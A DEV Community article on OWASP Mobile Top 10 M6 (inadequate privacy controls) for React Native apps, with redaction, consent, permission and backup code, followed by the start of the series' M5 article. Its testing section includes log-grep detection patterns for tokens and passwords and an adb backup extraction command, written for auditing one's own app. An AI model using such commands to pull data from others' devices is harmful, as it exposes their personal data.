DEV Community: Barış Kandemir

OWASP Mobile Top 10 — M6: Inadequate Privacy Controls

Barış Kandemir — Fri, 18 Sep 2026 18:13:04 +0000

Welcome to the sixth article in our OWASP Mobile Top 10 2024 series! In previous articles we covered M1 through M5. Today we reach the most unusual item on the list: the only risk with a LOW technical impact and a SEVERE business impact.

Introduction

M6 is the most unusual item in the OWASP Mobile Top 10. The other nine describe technical flaws: a query that wasn't parameterized, a certificate that wasn't validated, a token stored insecurely. M6 asks a different question:

"Why are you collecting this data at all?"

And if the answer is "because we might need it," you already have an M6 violation.

The interesting part is that M6's technical impact is rated LOW while its business impact is SEVERE. It's the only inversion on the list. Your code can work perfectly, nothing crashes, no system goes down — and your company can still face millions in fines.

A specific situation for React Native developers

React Native apps carry extra M6 risk because:

The dependency chain runs deep. One npm install can pull in three native SDKs, each sending its own telemetry.
The JS side is very "talkative." The console.log habit, crash reporting integrations, and dev tooling make PII leakage easy.
Platform requirements keep changing. Apple's Privacy Manifest requirement and Google Play's Data Safety form are declarations that must be filled in correctly — and they must match your app's actual behaviour.

OWASP Assessment

Metric	Value	Meaning
Exploitability	AVERAGE	Requires breaching another layer first
Prevalence	COMMON	In nearly every application
Detectability	EASY	Watching traffic/logs is enough
Technical Impact	LOW	The system keeps running
Business Impact	SEVERE	Legal penalties, lawsuits, reputational loss

⚠️ Read that table twice. Technical impact LOW, business impact SEVERE. This explains why engineering teams keep deferring M6: nothing breaks, no alarm goes off. The problem is that the bill arrives much later and much larger.

Why is the technical impact low? Privacy violations usually have little technical impact on the system as a whole. Only if the PII includes information like authentication data can it affect certain global security properties, such as traceability.

What PII Is and Why It's Valuable

Privacy controls are concerned with protecting Personally Identifiable Information (PII): names and addresses, credit card information, e-mail and IP addresses, information about health, religion, sexuality and political opinions.

Why do attackers want this data?

An attacker could:

Impersonate the victim to commit fraud
Misuse the victim's payment data
Blackmail the victim with sensitive information
Harm the victim by destroying or manipulating their critical data

In general, PII could either be leaked (a violation of confidentiality), manipulated (violation of integrity), or destroyed/blocked (violation of availability).

The "our app doesn't collect PII" fallacy

An app can only be vulnerable to Inadequate Privacy Controls if it processes some form of personally identifiable information. And this is almost always the case: client apps' IP addresses visible to a server, logs of the app's usage, and metadata sent with crash reports or analytics are PII that apply to most apps.

Here's the PII of an app that "doesn't collect PII":

🌐 IP address — in server logs, on every request
📱 Device identifiers — IDFA, Android ID, install ID
📊 Usage logs — which screen, when, how long
💥 Crash metadata — device model, OS, app state
🕐 Timestamps — a behavioural profile can be built
🌍 Language and locale — location inference
📶 Network carrier — geographic and socioeconomic signal

Combined, these are usually enough to identify one person — which is, by definition, PII.

Almost all apps process some kind of PII. Many even collect and process more than they need to fulfil their purpose, which makes them more attractive as a target without business needs.

How M6 Differs from the Other Items

This is the key to understanding M6: it isn't a separate bug class, it's a lens applied to the other items.

Given an app that uses PII, it might expose it like any other sensitive data. This most notably happens through:

Insecure data storage and communication (M5, M9)
Data access with insecure authentication and authorization (M3, M1)
Insider attacks on the app's sandbox (M2, M4, M8)

In other words, M6 = the other items × personal data:

Combination	Result
M5 (Insecure communication) + PII	Personal data leaks in transit
M9 (Insecure storage) + PII	Personal data plain on device
M3 (Insecure auth) + PII	Access to someone else's data
M4 (Missing validation) + PII	Leak to logs/clipboard/URL
M2 (Supply chain) + PII	An SDK's hidden telemetry

⚠️ But M6 has a question of its own: "Could we have avoided collecting this data entirely?"

That last line is critical. M5 says "encrypt the data," M9 says "store it securely." M6 proposes something more radical: something that does not exist cannot be attacked.

Attack Vectors

Typical sources for PII are well protected — for example the sandbox of the app, the network communication with the server, the app's logs and backups. Some have less protection but are still hard to access, like URL query parameters and clipboard content.

Obtaining PII thus requires the attacker to first breach security on another level. Attackers could eavesdrop on the network communication, access the file system, clipboard, or logs with a trojan, or get their hands on the mobile device and create a backup to analyze.

Well protected (another layer must be breached first):

App sandbox
Network communication with the server
App logs
Device backups

Less protected (but still hard to access):

URL query parameters
Clipboard content

Since PII is just data that can be stored, processed, and transmitted by all means available on mobile devices, the possibilities to extract or manipulate it are manifold.

OWASP Example Attack Scenarios

OWASP gives three concrete scenarios for M6 — and all three are extremely common in React Native projects.

Scenario #1 — Inadequate sanitization of logs and error messages

Reporting of logs and exceptions is essential for quality assurance of a productive app. Crash reports and other usage data help developers fix bugs and learn how their app is used. However, logs and error messages might contain PII if the developers chose to include this data in log or error messages. Also, third-party libraries might include PII in their error messages and logs as well.

An example of a frequent issue are database exceptions that reveal part of the query or result. This will most likely be visible to any platform provider used for collecting and evaluating crash reports. It might also become visible to the user if the error is displayed on screen, or to attackers who can read device logs.

💡 The React Native equivalent: every place you wrote console.log(user) and every exception you send to Sentry/Crashlytics. Details below.

Scenario #2 — Using PII in URL query parameters

URL query parameters are often used to transmit request arguments to a server. However, URL query parameters are visible at least in the server logs, but often also in website analytics and possibly in the local browser history. So sensitive information should never be transmitted as query parameters. Instead, they should be sent as a header or part of the body.

// ❌ Visible in server logs, CDN logs, analytics
GET /api/users?email=jane@example.com&phone=5551234567

// ✅ In the body or a header
POST /api/users/lookup
{ "email": "jane@example.com" }

Scenario #3 — Exclusion of personal data in backups / not setting hasFragileUserData

Most PII processed by an app is stored in its sandbox. The app should explicitly configure what data to include in device backups. An attacker might obtain a device and create a backup, or get a backup from another source, from which the sandbox content could be extracted.

Alternatively, by setting hasFragileUserData to true on Android, an app may preserve its data upon uninstallation. An attacker who manages to install a malicious app with the same package id later can access this data.

Hence, both settings should be explicitly set for apps to make the developers' intent transparent and to control the information flow through backups or between subsequent installations of an app.

Technical and Business Impacts

Technical Impacts — LOW

Privacy violations usually have little technical impact on the system as a whole. Only if the PII includes information like authentication data can it affect certain global security properties, e.g., traceability.

If user data is manipulated it might render the system unusable for that user. Through ill-formed data, the backend may also be disturbed if it is missing proper sanitization and exception handling.

Business Impacts — SEVERE

The extent and severity of the business impact strongly depends on the number of affected users, the criticality of the affected data, and the data protection regulations that apply where the violation happened.

⚖️ Violation of legal regulations

Regulations are the biggest issue regarding privacy controls. Relevant regulations with known sanctions: GDPR (Europe), CCPA (California, US), PDPA (Singapore), PIPEDA (Canada), LGPD (Brazil), Data Protection Act 2018 (UK), POPIA (South Africa), PDPL (China).

💰 Financial damage due to victims' lawsuits

Whoever is personally affected by a privacy violation might sue the app provider that let the violation happen. These lawsuits might be successful, depending on the legal regulations that apply and the ability of the provider to show that they had adequate and up to date protection mechanisms in place.

📉 Reputational damage

If a privacy violation affects users on a large scale, it is likely published in media, generating negative publicity for the provider. As a consequence, sales and usage for the app and even other, unrelated products of the same provider might drop.

🔓 Loss or theft of PII

Actual information stolen might be misused, even for attacks on the provider of the app. For example, specific user data could be used to employ a social engineering attack on the provider by impersonating a victim.

⚠️ Note the phrasing about lawsuits: "depending on... the ability of the provider to show that they had adequate and up to date protection mechanisms in place." Applying protection isn't enough; you have to be able to document it. That makes M6 a documentation problem too.

Prevention Strategies: Data Minimization

OWASP's proposed solution for M6 is fundamentally different from the other items:

Something that does not exist cannot be attacked, so the safest approach to prevent privacy violations is to minimize the amount and variety of PII that is processed.

This requires full awareness of all PII assets in a given app. With that awareness, the following six questions should be assessed:

Is all PII processed really necessary? (name and address, gender, age...)
Can some of the PII be replaced by less critical information? (fine-grained location → coarse-grained)
Can some of the PII be reduced? (location updates every hour instead of every minute)
Can some of the PII be anonymized or blurred? (by hashing, bucketing, or adding noise)
Can some of the PII be deleted after an expiration period? (only keep health data of the last week)
Can users consent to optional PII usage? (receive a better service but be aware of the added risk)

The remaining PII should not be stored or transferred unless absolutely necessary. If it must be stored or transferred, access must be protected with proper authentication and possibly authorization.

Defense in depth should also be considered for particularly critical data. For example, health data may be encrypted with a key sealed in the device's TPM in addition to its storage in the app's sandbox. So if an attacker manages to circumvent the sandbox restrictions, the data is still not readable.

Threat modeling can be used to determine the most likely ways that privacy violations may occur in a given app. The effort of securing PII could then be focused on these.

Static and dynamic security checking tools might reveal common pitfalls, like logging of sensitive data or leakage to clipboard or URL query parameters.

React Native Specific Security

1. Build a PII inventory

Minimization starts with awareness. If you don't know which personal data enters your app, from where, and where it goes, you have nothing to minimize.

// privacy/dataInventory.js
// This file isn't code, it's documentation. But sitting next to the code keeps it alive.

export const PII_INVENTORY = {
  email: {
    purpose: 'Account identity and communication',
    collectedAt: 'Registration screen',
    storedIn: ['Keychain (inside token)', 'Backend'],
    sharedWith: ['Backend API'],
    retention: 'Until account deletion',
    legalBasis: 'Performance of a contract',
    required: true,
  },
  preciseLocation: {
    purpose: 'Show nearby stores',
    collectedAt: 'Store finder screen',
    storedIn: ['In memory, not persisted'],
    sharedWith: ['Maps SDK'],
    retention: 'Session only',
    legalBasis: 'Explicit consent',
    required: false,
    // 🔍 QUESTION 2: Would coarse location be enough?
    minimizationNote: 'City-level may suffice — evaluate',
  },
  deviceId: {
    purpose: 'Grouping crash reports',
    collectedAt: 'App launch',
    storedIn: ['Sentry'],
    sharedWith: ['Sentry (third party)'],
    retention: '90 days',
    legalBasis: 'Legitimate interest',
    required: false,
    // 🔍 QUESTION 4: Can it be hashed?
    minimizationNote: 'Use a hash instead of the raw ID',
  },
};

This inventory does three jobs: (1) it gives you a list to apply the minimization questions to, (2) it's the source when filling in the Google Play Data Safety form and Apple Privacy Manifest, (3) it lets you document the claim that you "had adequate protection mechanisms" in an audit.

2. Permission minimization and just-in-time requests

The biggest privacy mistake is requesting every permission at app launch.

// ❌ BAD — ask for everything at launch, user has no idea why
useEffect(() => {
  requestCameraPermission();
  requestLocationPermission();
  requestContactsPermission();
  requestNotificationPermission();
}, []);

// ✅ GOOD — ask at the moment of need, with context
import { check, request, PERMISSIONS, RESULTS } from 'react-native-permissions';
import { Platform } from 'react-native';

const LOCATION_PERMISSION = Platform.select({
  ios: PERMISSIONS.IOS.LOCATION_WHEN_IN_USE,
  android: PERMISSIONS.ANDROID.ACCESS_COARSE_LOCATION,  // ✅ COARSE, not FINE
});

export async function requestLocationWithContext() {
  const status = await check(LOCATION_PERMISSION);

  if (status === RESULTS.GRANTED) return true;

  if (status === RESULTS.DENIED) {
    // Explain why BEFORE the system prompt
    const userAgreed = await showRationale({
      title: "Let's find nearby stores",
      message:
        'We use your location only to show the stores closest to you. ' +
        'It never leaves your device and is not stored.',
      confirmText: 'Continue',
      cancelText: "I'll pick a city",
    });

    if (!userAgreed) {
      // ✅ Accept the refusal and offer an alternative
      return navigateToManualCitySelection();
    }

    const result = await request(LOCATION_PERMISSION);
    return result === RESULTS.GRANTED;
  }

  if (status === RESULTS.BLOCKED) {
    // ✅ Don't push the user to Settings, offer an alternative
    return navigateToManualCitySelection();
  }

  return false;
}

Minimization in permission choice

Need	❌ Excessive	✅ Minimum
Nearby stores	`ACCESS_FINE_LOCATION`	`ACCESS_COARSE_LOCATION`
Profile photo	`READ_EXTERNAL_STORAGE`	Photo Picker (no permission)
Continuous location	`ACCESS_BACKGROUND_LOCATION`	`WHEN_IN_USE`
Finding friends	`READ_CONTACTS`	Manual invite by the user
QR scanning	Camera + gallery	Camera only

The Android 13+ and iOS 14+ photo pickers require no permission — the user shares only the photo they selected. That's far less data access than requesting READ_EXTERNAL_STORAGE.

3. Log and crash report hygiene (OWASP Scenario #1)

This is the most common M6 violation in React Native projects.

// ❌ All of these leak PII
console.log('User logged in:', user);            // the whole user object
console.log('Response:', JSON.stringify(res));   // API response
console.log('Token:', accessToken);              // credentials
console.error('Query failed:', sqlQuery);        // query + parameters

console.log output is readable via adb logcat on Android and Console.app on iOS. Anyone with device access — and in some cases another app — can see it.

Step 1: Strip console in production

// babel.config.js
module.exports = {
  presets: ['module:@react-native/babel-preset'],
  env: {
    production: {
      plugins: [
        ['transform-remove-console', { exclude: ['error', 'warn'] }],
      ],
    },
  },
};

But since you're excluding error and warn, make sure you don't write PII there either.

Step 2: Write a redaction layer

// utils/redact.js

const PII_KEYS = [
  'email', 'phone', 'phoneNumber', 'password', 'token', 'accessToken',
  'refreshToken', 'ssn', 'iban', 'cardNumber', 'cvv',
  'address', 'latitude', 'longitude', 'birthDate', 'fullName',
];

const EMAIL_RE = /[\w.+-]+@[\w-]+\.[\w.]+/g;
// Phone numbers need either a + country code or separators. A bare run of
// digits is deliberately NOT matched: Date.now() is 13 digits, and so are
// plenty of order IDs and counters — matching those would silently corrupt
// your logs while looking like it worked.
const PHONE_RE = /\+\d{1,3}[\s.-]?\d{2,4}[\s.-]?\d{3}[\s.-]?\d{2,4}\b|\b\d{3}[\s.-]\d{3}[\s.-]\d{4}\b/g;
const IBAN_RE = /\b[A-Z]{2}\d{2}[\sA-Z0-9]{10,30}\b/g;

export function redact(value, depth = 0) {
  if (depth > 6) return '[deep]';

  if (typeof value === 'string') {
    return value
      .replace(EMAIL_RE, '[EMAIL]')
      .replace(PHONE_RE, '[PHONE]')
      .replace(IBAN_RE, '[IBAN]');
  }

  if (Array.isArray(value)) {
    return value.map((v) => redact(v, depth + 1));
  }

  if (value && typeof value === 'object') {
    const out = {};
    for (const [key, val] of Object.entries(value)) {
      const isPii = PII_KEYS.some((k) =>
        key.toLowerCase().includes(k.toLowerCase())
      );
      out[key] = isPii ? '[REDACTED]' : redact(val, depth + 1);
    }
    return out;
  }

  return value;
}

Step 3: Filter crash reporting

// services/sentry.js
import * as Sentry from '@sentry/react-native';
import { redact } from '../utils/redact';

Sentry.init({
  dsn: 'https://...',

  // ✅ Don't send the user's IP
  sendDefaultPii: false,

  beforeSend(event) {
    // Scrub exception messages
    if (event.exception?.values) {
      event.exception.values = event.exception.values.map((ex) => ({
        ...ex,
        value: typeof ex.value === 'string' ? redact(ex.value) : ex.value,
      }));
    }

    // Scrub extra and contexts
    if (event.extra) event.extra = redact(event.extra);
    if (event.contexts) event.contexts = redact(event.contexts);

    // Minimize the user object — no email/IP
    if (event.user) {
      event.user = { id: event.user.id };  // opaque ID only
    }

    // Scrub request data
    if (event.request) {
      delete event.request.cookies;
      delete event.request.headers?.Authorization;
      if (event.request.data) event.request.data = redact(event.request.data);
    }

    return event;
  },

  beforeBreadcrumb(breadcrumb) {
    // Strip query strings from network breadcrumb URLs
    if (breadcrumb.category === 'xhr' || breadcrumb.category === 'fetch') {
      if (breadcrumb.data?.url) {
        breadcrumb.data.url = breadcrumb.data.url.split('?')[0];
      }
    }
    // Scrub console breadcrumbs
    if (breadcrumb.category === 'console' && breadcrumb.message) {
      breadcrumb.message = redact(breadcrumb.message);
    }
    return breadcrumb;
  },
});

⚠️ Third-party libraries log PII too. OWASP states this explicitly. Database exceptions, HTTP library errors, and SDKs' own logs are outside your control. beforeSend catches a lot of that — but not all of it. Sentry's own docs are clear that in the React Native SDK, beforeSend only filters events generated from the JavaScript layer; native events from Android and iOS code are not passed through it. So a crash inside a native SDK can carry PII straight past your filter. Treat beforeSend as a strong layer, not a complete one, and keep PII out of native-facing calls in the first place.

4. Keep PII out of URLs (OWASP Scenario #2)

// ❌ Visible in server logs, the CDN, analytics, proxies
await apiClient.get(`/users/search?email=${email}&phone=${phone}`);

// ✅ Send in the body
await apiClient.post('/users/search', { email, phone });

You can catch this with an interceptor:

// Warn during development if a URL carries PII
const PII_PARAM_NAMES = ['email', 'phone', 'token', 'ssn', 'iban', 'name'];

apiClient.interceptors.request.use((config) => {
  if (__DEV__ && config.url?.includes('?')) {
    const query = config.url.split('?')[1];
    const params = new URLSearchParams(query);

    for (const key of params.keys()) {
      if (PII_PARAM_NAMES.some((p) => key.toLowerCase().includes(p))) {
        console.warn(
          `⚠️ Possible PII in URL query parameter: "${key}" — move it to the body`
        );
      }
    }
  }
  return config;
});

The same rule applies to deep links. We covered deep link validation in M4; the additional question here is: what are you carrying in that link? Deep link URLs persist in OS logs and sometimes browser history.

5. Backup and uninstall behaviour (OWASP Scenario #3)

Android

<!-- android/app/src/main/AndroidManifest.xml -->
<application
    android:allowBackup="false"
    android:hasFragileUserData="false"
    ...>

OWASP recommends setting both explicitly — leaving them to defaults makes your intent unclear.

allowBackup="false" → app data is not included in device backups
hasFragileUserData="false" → data is deleted when the app is uninstalled

If you set hasFragileUserData="true", an attacker who installs a malicious app with the same package id can access your old data.

If you do need backups, keep allowBackup="true" and be selective instead — the rules files only take effect when backup is on, so pointing at them while backup is disabled does nothing:

<application
    android:allowBackup="true"
    android:hasFragileUserData="false"
    android:fullBackupContent="@xml/backup_rules"
    android:dataExtractionRules="@xml/data_extraction_rules"
    ...>

You need both attributes because they cover different versions: fullBackupContent applies up to API 30, and dataExtractionRules takes over on API 31+ (and also governs device-to-device transfer, which is separate from cloud backup).

<!-- android/app/src/main/res/xml/backup_rules.xml — API ≤ 30 -->
<?xml version="1.0" encoding="utf-8"?>
<full-backup-content>
  <!-- Default: back up nothing -->
  <exclude domain="sharedpref" path="." />
  <exclude domain="database" path="." />
  <exclude domain="file" path="." />

  <!-- Only non-sensitive preferences -->
  <include domain="sharedpref" path="app_theme_prefs.xml" />
</full-backup-content>

<!-- android/app/src/main/res/xml/data_extraction_rules.xml — API 31+ -->
<?xml version="1.0" encoding="utf-8"?>
<data-extraction-rules>
  <cloud-backup>
    <exclude domain="sharedpref" path="." />
    <exclude domain="database" path="." />
    <exclude domain="file" path="." />
    <include domain="sharedpref" path="app_theme_prefs.xml" />
  </cloud-backup>
  <!-- Device-to-device transfer is a separate decision -->
  <device-transfer>
    <exclude domain="sharedpref" path="." />
    <exclude domain="database" path="." />
    <exclude domain="file" path="." />
  </device-transfer>
</data-extraction-rules>

iOS

iOS backs up the Documents directory to iCloud by default. The underlying mechanism for opting out is the NSURLIsExcludedFromBackupKey resource value — but be aware that popular JS file-system libraries don't all expose it, so check your library's API rather than assuming a helper exists. If yours doesn't, you need a small native module.

Two approaches that don't require one:

import RNFS from 'react-native-fs';

// ✅ Option 1: Caches — never backed up, but the system may purge it.
// Good for regenerable data (thumbnails, downloaded media, parsed feeds).
const cachePath = `${RNFS.CachesDirectoryPath}/${filename}`;
await RNFS.writeFile(cachePath, content, 'utf8');

// ✅ Option 2: for secrets, don't put them in a file at all.
// Keychain with a ThisDeviceOnly accessibility class is excluded from
// backups by the OS — no extra configuration needed.
import * as Keychain from 'react-native-keychain';

await Keychain.setGenericPassword('auth', token, {
  accessible: Keychain.ACCESSIBLE.WHEN_UNLOCKED_THIS_DEVICE_ONLY,
});

That second one connects back to M3: the ThisDeviceOnly variants we used for token storage were already solving a backup-exposure problem, not just an access-control one.

6. Clipboard leakage

The clipboard is one of the channels OWASP places in the "less protected" category. Anything you copy is accessible to other apps.

import Clipboard from '@react-native-clipboard/clipboard';

// ❌ Leaving sensitive data on the clipboard
Clipboard.setString(otpCode);

// ✅ Copy, then clear after a delay
async function copyTemporarily(value, ttlMs = 30000) {
  Clipboard.setString(value);

  setTimeout(async () => {
    // hasString() checks for content without reading it — on iOS 14+ a
    // read can surface the "pasted from" banner, so avoid getString() here.
    const hasContent = await Clipboard.hasString();
    if (hasContent) {
      Clipboard.setString('');
    }
  }, ttlMs);
}

There's a real trade-off in that last block. You can't tell whether the clipboard still holds your value without reading it back, and reading it back is the thing you're trying to avoid. Clearing unconditionally means you might wipe something the user copied in the meantime. For a 30-second OTP that's usually the right call; for longer-lived values, consider not copying to the clipboard at all and offering an autofill or in-app paste instead.

You can disable copying entirely on sensitive fields:

<TextInput
  value={cardNumber}
  contextMenuHidden={true}      // ✅ No copy/paste menu
  selectTextOnFocus={false}
  secureTextEntry
/>

iOS 14+ and Android 12+ show the user a notification on clipboard reads — that's how you can notice an SDK reading the clipboard without telling you.

7. Screenshot and app switcher masking

When the user leaves the app, the OS takes a screenshot and shows it in the app switcher. That image is written to disk.

import { useEffect } from 'react';
import ScreenGuardModule from 'react-native-screenguard';

function BankingScreen() {
  useEffect(() => {
    (async () => {
      // ✅ Required from v2.0.0 onwards — register() alone will not work
      await ScreenGuardModule.initSettings({
        displayScreenGuardOverlay: true,
        timeAfterResume: 2000,
      });

      await ScreenGuardModule.register({ backgroundColor: '#000000' });
    })();

    return () => {
      ScreenGuardModule.unregister();
    };
  }, []);

  return <View>{/* sensitive content */}</View>;
}

This also blocks screenshots and screen recording (via FLAG_SECURE on Android). Check the version you install: the v1.x API took a colour string directly and had no initSettings, so older snippets you find online won't work on v2 and vice versa.

8. App Tracking Transparency (iOS)

Since iOS 14.5, you must ask the user for permission before collecting tracking identifiers like the IDFA.

import {
  getTrackingStatus,
  requestTrackingPermission,
} from 'react-native-tracking-transparency';

export async function initTracking() {
  const status = await getTrackingStatus();

  if (status === 'not-determined') {
    // ✅ Give context before the prompt
    await showTrackingRationale();

    const newStatus = await requestTrackingPermission();

    if (newStatus === 'authorized') {
      enableAdTracking();
    } else {
      // ✅ Actually honour the refusal — turn the SDKs off too
      disableAdTracking();
    }
    return;
  }

  if (status === 'authorized' || status === 'unavailable') {
    enableAdTracking();
  } else {
    disableAdTracking();
  }
}

<!-- ios/YourApp/Info.plist -->
<key>NSUserTrackingUsageDescription</key>
<string>We'd like to use your advertising identifier to show you more relevant ads. If you decline, the app works exactly the same.</string>

⚠️ The most critical point: when the status is denied, actually disable your ad SDKs. Asking for permission and ignoring the refusal is a heavier violation than never asking — both legally and under App Store policy.

9. Platform declarations: Privacy Manifest and Data Safety

These two aren't code, they're declarations. But filled in wrongly, your app gets rejected or creates a compliance problem later.

iOS — PrivacyInfo.xcprivacy

Apple stopped accepting app submissions without a privacy manifest as of May 1, 2024. The file declares why the app calls certain APIs Apple considers sensitive — currently these cover accessing UserDefaults, file timestamps, system boot time, disk space, and the active keyboard. Apple describes this as an open list that may expand.

React Native generates a template during the pod install step. You may still need to add the reasons for APIs used by your dependencies to your own PrivacyInfo.xcprivacy.

In Expo this is managed through the app config:

// app.config.js
export default {
  expo: {
    ios: {
      privacyManifests: {
        NSPrivacyAccessedAPITypes: [
          {
            NSPrivacyAccessedAPIType: 'NSPrivacyAccessedAPICategoryUserDefaults',
            NSPrivacyAccessedAPITypeReasons: ['CA92.1'],
          },
          {
            NSPrivacyAccessedAPIType: 'NSPrivacyAccessedAPICategoryFileTimestamp',
            NSPrivacyAccessedAPITypeReasons: ['C617.1'],
          },
        ],
        NSPrivacyCollectedDataTypes: [
          {
            NSPrivacyCollectedDataType: 'NSPrivacyCollectedDataTypeEmailAddress',
            NSPrivacyCollectedDataTypeLinked: true,
            NSPrivacyCollectedDataTypeTracking: false,
            NSPrivacyCollectedDataTypePurposes: [
              'NSPrivacyCollectedDataTypePurposeAppFunctionality',
            ],
          },
        ],
        NSPrivacyTracking: false,
      },
    },
  },
};

Android — Google Play Data Safety

The form you complete in the Play Console's App Privacy tab. The Data safety form must match your privacy policy and your app's actual behaviour. A mismatch can delay release or create a compliance problem later.

This is where your PII_INVENTORY file pays off: you fill the form from the inventory rather than from memory.

10. Third-party SDK data flows

We covered the supply chain in M2 and SDK traffic in M5. The M6 question is: which personal data do these SDKs collect, and who do they send it to?

Don't rely only on package.json. React Native apps pull native SDKs through CocoaPods, Gradle, Expo config plugins, and transitive dependencies.

Checklist:

What data does the SDK collect? (check the traffic, not the docs)
Does it ship its own privacy manifest? (Apple requires it)
Does its behaviour change when ATT is denied?
Is the collected data declared in your Data Safety form?
Do you have a data processing agreement (DPA) in place?

11. User rights: access, export, deletion

GDPR and similar regulations give users the right to access their data and request deletion. That has to exist in the app.

// screens/PrivacySettingsScreen.jsx
export default function PrivacySettingsScreen() {
  return (
    <ScrollView>
      <Section title="Your data">
        <Row
          label="Download my data"
          description="Receive a copy of all data related to your account by email"
          onPress={requestDataExport}
        />
        <Row
          label="Delete my account"
          description="Your account and all your data are permanently deleted"
          onPress={confirmAccountDeletion}
          destructive
        />
      </Section>

      <Section title="Permissions">
        <Toggle
          label="Analytics"
          description="Helps us improve the app"
          value={consent.analytics}
          onChange={(v) => updateConsent('analytics', v)}
        />
        <Toggle
          label="Personalized ads"
          value={consent.advertising}
          onChange={(v) => updateConsent('advertising', v)}
        />
      </Section>
    </ScrollView>
  );
}

Centralize consent management — scattered code toggling SDKs one by one becomes a violation the moment one toggle is forgotten:

// services/consent.js
const consentState = { analytics: false, advertising: false };

export async function applyConsent(newState) {
  Object.assign(consentState, newState);

  // ✅ Every SDK managed from one place
  analytics.setEnabled(consentState.analytics);
  adSdk.setPersonalizationEnabled(consentState.advertising);
  crashReporting.setEnabled(consentState.analytics);

  await persistConsent(consentState);
  await logConsentChange(consentState);  // ✅ Keep a consent record
}

That last line matters: record the consent. In an audit, saying "the user consented" isn't enough — you need to be able to show it.

Testing Strategies

Privacy testing differs from the other items: you aren't looking for a flaw, you're looking for excess.

Scanning traffic for PII

# pii_scanner.py — a mitmproxy script
import re

PATTERNS = {
    'EMAIL': re.compile(rb'[\w.+-]+@[\w-]+\.[\w.]+'),
    'PHONE': re.compile(rb'\b\d{10,}\b'),
    'IBAN': re.compile(rb'\b[A-Z]{2}\d{2}[A-Z0-9]{10,30}\b'),
}

def request(flow):
    scan(flow.request.pretty_url.encode(), 'URL', flow)
    if flow.request.content:
        scan(flow.request.content, 'BODY', flow)

def scan(data, where, flow):
    for name, pattern in PATTERNS.items():
        if pattern.search(data):
            print(f"⚠️  {name} in {where} → {flow.request.host}{flow.request.path[:60]}")

Run this and navigate through the app. Every unexpected host and every match deserves investigation.

Log scanning

# Android — scan logs for PII while the app runs
adb logcat -c && adb logcat | grep -iE "email|token|password|@.*\.(com|net)|[0-9]{10,}"

# iOS — Console.app, or:
xcrun simctl spawn booted log stream --predicate 'processImagePath contains "YourApp"' \
  | grep -iE "email|token|password"

Backup content check

# Android — take a backup and inspect its contents
adb backup -f backup.ab com.yourapp
dd if=backup.ab bs=1 skip=24 | zlib-flate -uncompress | tar -tvf -

# With allowBackup="false" this should come back empty

Automated tests

// __tests__/privacy.test.js
import { redact } from '../src/utils/redact';

describe('redaction', () => {
  it('masks email addresses', () => {
    const input = { note: 'Contact jane@example.com for details' };
    expect(JSON.stringify(redact(input))).not.toContain('jane@example.com');
  });

  it('masks PII keys', () => {
    const input = { email: 'a@b.com', phone: '5551234567', name: 'Jane' };
    const out = redact(input);
    expect(out.email).toBe('[REDACTED]');
    expect(out.phone).toBe('[REDACTED]');
  });

  it('leaves non-PII fields alone', () => {
    const input = { screenName: 'Home', itemCount: 5 };
    expect(redact(input)).toEqual(input);
  });
});

Manual test scenarios

Test	Method	Expected
Permission rationale	Trigger every permission prompt	Explanation appears first
Permission refusal	Deny every permission	App still works
ATT refusal	Deny ATT, watch traffic	No IDFA sent
Log leakage	Log in, scan `adb logcat`	No PII
URL PII	Scan all traffic	No PII in query strings
Backup	Run `adb backup`	Empty or non-sensitive only
App switcher	Background from a sensitive screen	Screen is masked
Account deletion	Delete account, try logging back in	Data actually gone
Declaration accuracy	Data Safety form vs real traffic	They match

Tools and Resources

Privacy testing tools

Tool	Use Case
mitmproxy + custom script	Scanning traffic for PII
MobSF	Static analysis of permissions and data flows
Exodus Privacy	Detects trackers in an APK
App Privacy Report (iOS 15+)	Shows what each app accessed on-device
Privacy Dashboard (Android 12+)	Permission usage history

React Native libraries

Library	Purpose
`react-native-permissions`	Unified permission management
`react-native-tracking-transparency`	iOS ATT
`babel-plugin-transform-remove-console`	Production log hygiene
`react-native-screenguard`	Blocking screenshots/recording
`@react-native-clipboard/clipboard`	Clipboard control

Useful resources

Resource	URL
OWASP M6	owasp.org/www-project-mobile-top-10
User Privacy Protection Cheat Sheet	cheatsheetseries.owasp.org
Testing User Privacy Protection (MASTG)	mas.owasp.org
OWASP Top 10 Privacy Risks	owasp.org/www-project-top-10-privacy-risks
Apple Privacy Manifest	developer.apple.com
Expo Privacy Manifests	docs.expo.dev/guides/apple-privacy
GDPR	gdpr.eu

Conclusion

M6 is the item engineering teams defer most easily, because nothing breaks. Tests pass, the app runs, users don't complain. The bill arrives much later and much larger.

🎯 Security Roadmap

1. Beginner level

Build a PII inventory (what data, why, where to)
Strip console.log in production
Remove PII from URL query parameters
Set allowBackup and hasFragileUserData explicitly
Write a meaningful usage description for every permission

2. Intermediate level

Just-in-time permission requests + rationale screens
Crash reporting redaction layer (beforeSend)
Permission minimization (COARSE, photo picker, WHEN_IN_USE)
ATT implementation + actually honouring refusal
Fill Privacy Manifest and Data Safety from the inventory
Clipboard TTL and masking on sensitive screens

3. Enterprise level

Centralized consent management + consent audit log
User rights: data export and deletion flows
Retention periods and automatic deletion
PII traffic scanning in CI
DPAs and regular audits for third-party SDKs
Privacy-focused threat modeling

Key Takeaways

Technical impact LOW, business impact SEVERE. This inversion explains both why M6 keeps getting deferred and why it shouldn't be.
The best protection is not collecting the data at all. OWASP's six minimization questions come before adding encryption.
"We don't collect PII" is almost never true. IP address, device ID, usage logs, and crash metadata are already PII.
M6 is a lens applied to the other items. M5 + PII, M9 + PII, M3 + PII... but it has a question of its own: was this data ever necessary?
Logs and crash reports are the most common leak point. Writing a beforeSend filter takes far less than a week and protects far more.
Consent isn't done once you've asked. You have to actually turn things off for those who decline, and record the consent — that's the "ability to show" the lawsuit language refers to.
Declarations must match reality. The Privacy Manifest and Data Safety form should reflect your app's real behaviour. A form filled from memory is a mismatch waiting to be found.

Next Steps

In our next article, we'll examine M7: Insufficient Binary Protections. We'll cover protecting the app binary against reverse engineering, tampering, and code injection, along with Hermes bytecode, obfuscation, and integrity checking strategies in React Native.

References

This article is the sixth in the OWASP Mobile Top 10 2024 series. Previous articles covered M1 through M5. Follow along for the rest of the series!

OWASP Mobile Top 10 — M5: Insecure Communication

Barış Kandemir — Fri, 28 Aug 2026 18:44:54 +0000

Welcome to the fifth article in our OWASP Mobile Top 10 2024 series! In previous articles we covered M1: Improper Credential Usage, M2: Inadequate Supply Chain Security, M3: Insecure Authentication/Authorization, and M4: Insufficient Input/Output Validation. Today we discuss why "we already use HTTPS" isn't a sufficient answer.

Introduction

